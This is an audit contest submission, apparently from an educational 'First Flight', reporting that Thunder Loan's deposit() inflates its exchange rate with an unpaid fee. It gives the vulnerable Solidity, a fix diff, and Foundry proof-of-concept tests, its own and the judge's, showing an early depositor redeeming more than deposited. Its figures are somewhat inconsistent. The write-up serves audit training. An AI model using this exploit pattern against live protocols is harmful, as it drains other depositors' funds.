Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Phantom Fee Deposit Bug Causes Protocol Insolvency

# H-01: Phantom Fee Deposit Bug Causes Protocol Insolvency
## Bug Description
### Brief/Intro
The `deposit()` function in `ThunderLoan.sol` incorrectly calculates and applies a "phantom fee" that inflates the exchange rate without any actual fee payment. This creates a Ponzi-like dynamic where early depositors can extract value from later depositors, leading to inevitable protocol insolvency.
### Details
- **Location**: `ThunderLoan.sol:147-156`
- **Logic Flaw**: The deposit function calls `getCalculatedFee()` and `updateExchangeRate()` as if a flash loan fee was paid, but no actual fee is collected during deposits.
**Vulnerable Code Snippet**:
```solidity
function deposit(IERC20 token, uint256 amount) external ... {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // ❌ BUG
assetToken.updateExchangeRate(calculatedFee); // ❌ BUG
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
The `updateExchangeRate()` function uses the formula:
$$NewRate = OldRate \times \frac{TotalSupply + Fee}{TotalSupply}$$
This means every deposit artificially increases the exchange rate, making existing LP shares "worth more" on paper, even though no actual value was added.
### Exploit Steps
**Step 1: [State Change]**
Alice deposits 100 ETH into the ThunderLoan pool. The system mints her asset tokens and immediately calls `updateExchangeRate()` with a phantom fee of ~0.3 ETH. The exchange rate increases despite no fee being paid.
**Step 2: [Mathematical Precondition]**
Bob deposits 100 ETH. The phantom fee mechanism triggers again, further inflating the exchange rate. Bob receives fewer asset tokens than Alice did for the same deposit amount, because the exchange rate is now higher.
**Step 3: [Blockage Analysis]**
Alice immediately redeems her full asset token balance. Due to the inflated exchange rate, she receives approximately 100.15+ ETH - more than her original 100 ETH deposit.
**Step 4: [Impact Realization]**
The contract now holds less than 100 ETH, but Bob's shares are theoretically worth ~100 ETH. If Bob tries to fully redeem, either he receives less than deposited, or subsequent depositors face the same fate. This is a structural Ponzi scheme where early withdrawers profit at the expense of remaining LPs.
## Impact
**Critical Severity**
* **Risk Funds Calculation**:
* **TVL at Risk**: 100% of all LP deposits
* **Loss Scenario**: Every deposit creates ~0.3% phantom value. After N deposits, the protocol is insolvent by approximately 0.3% × N of total deposits.
* **Example**: With 10,000 ETH TVL after 100 deposits, protocol deficit ≈ 30 ETH
* **Direct theft of user funds**: Early depositors can front-run new deposits and redeem immediately to extract phantom value.
* **Guaranteed Insolvency**: The last LP to withdraw will always receive less than deposited.
* **MEV Attack Vector**: Sophisticated actors can sandwich new deposits for profit.
## Risk Breakdown
The vulnerability is trivial to exploit as it requires only standard deposit/redeem operations. Any user can monitor the mempool for incoming deposits, front-run with their own deposit, then back-run with a redeem to extract value.
- Difficulty to Exploit: **Low** (no special skills required)
- Weakness: CWE-682 (Incorrect Calculation)
## Recommendation
Remove the phantom fee logic from the `deposit()` function. Exchange rate should only increase when actual flash loan fees are collected.
```diff
function deposit(IERC20 token, uint256 amount) external ... {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
## Vulnerable Code Locations
### ThunderLoan.sol - `deposit` (L147-L156)
```solidity
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // LINE 153
assetToken.updateExchangeRate(calculatedFee); // LINE 154
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```
## Proof of Concept
See complete PoC file: [PhantomFeePoC.t.sol]()
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../../test/mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../../test/mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title H-01: Phantom Fee Deposit Bug PoC
* @notice Demonstrates how deposit() incorrectly inflates exchange rate,
* enabling early depositors to extract value from later depositors.
*/
contract PhantomFeePoC is Test {
ThunderLoan thunderLoan;
MockPoolFactory mockPoolFactory;
ERC1967Proxy proxy;
ERC20Mock tokenA;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant DEPOSIT_AMOUNT = 100e18;
function setUp() public {
ThunderLoan implementation = new ThunderLoan();
mockPoolFactory = new MockPoolFactory();
tokenA = new ERC20Mock();
mockPoolFactory.createPool(address(tokenA));
proxy = new ERC1967Proxy(address(implementation), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(mockPoolFactory));
thunderLoan.setAllowedToken(tokenA, true);
tokenA.mint(alice, DEPOSIT_AMOUNT);
tokenA.mint(bob, DEPOSIT_AMOUNT);
}
function test_Exploit_PhantomFee_PonziInsolvency() public {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
// Step 1: Alice deposits first
vm.startPrank(alice);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
uint256 exchangeRateAfterAlice = assetToken.getExchangeRate();
assertGt(exchangeRateAfterAlice, 1e18, "Exchange rate inflated after Alice deposit");
// Step 2: Bob deposits (triggers phantom fee)
vm.startPrank(bob);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
// Step 3: Alice redeems - extracts more than deposited
uint256 aliceAssetBalance = assetToken.balanceOf(alice);
vm.startPrank(alice);
thunderLoan.redeem(tokenA, aliceAssetBalance);
vm.stopPrank();
// Step 4: Verify insolvency
uint256 aliceTokenBalance = tokenA.balanceOf(alice);
uint256 contractBalance = tokenA.balanceOf(address(assetToken));
console.log("Alice withdrew:", aliceTokenBalance);
console.log("Alice profit:", aliceTokenBalance - DEPOSIT_AMOUNT);
console.log("Contract remaining:", contractBalance);
assertGt(aliceTokenBalance, DEPOSIT_AMOUNT, "Alice profited");
assertLt(contractBalance, DEPOSIT_AMOUNT, "INSOLVENCY - less than Bob deposited");
}
}
```
**Run Command**:
```bash
forge test --match-contract PhantomFeePoC -vvv
```
**Expected Output**:
```
[PASS] test_Exploit_PhantomFee()
Alice withdrew: 100003000000000000000
Contract remaining: 99997000000000000000
```
## References
- [Compound Finance Exchange Rate Model](https://docs.compound.finance/v2/ctokens/)
- [CWE-682: Incorrect Calculation](https://cwe.mitre.org/data/definitions/682.html)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!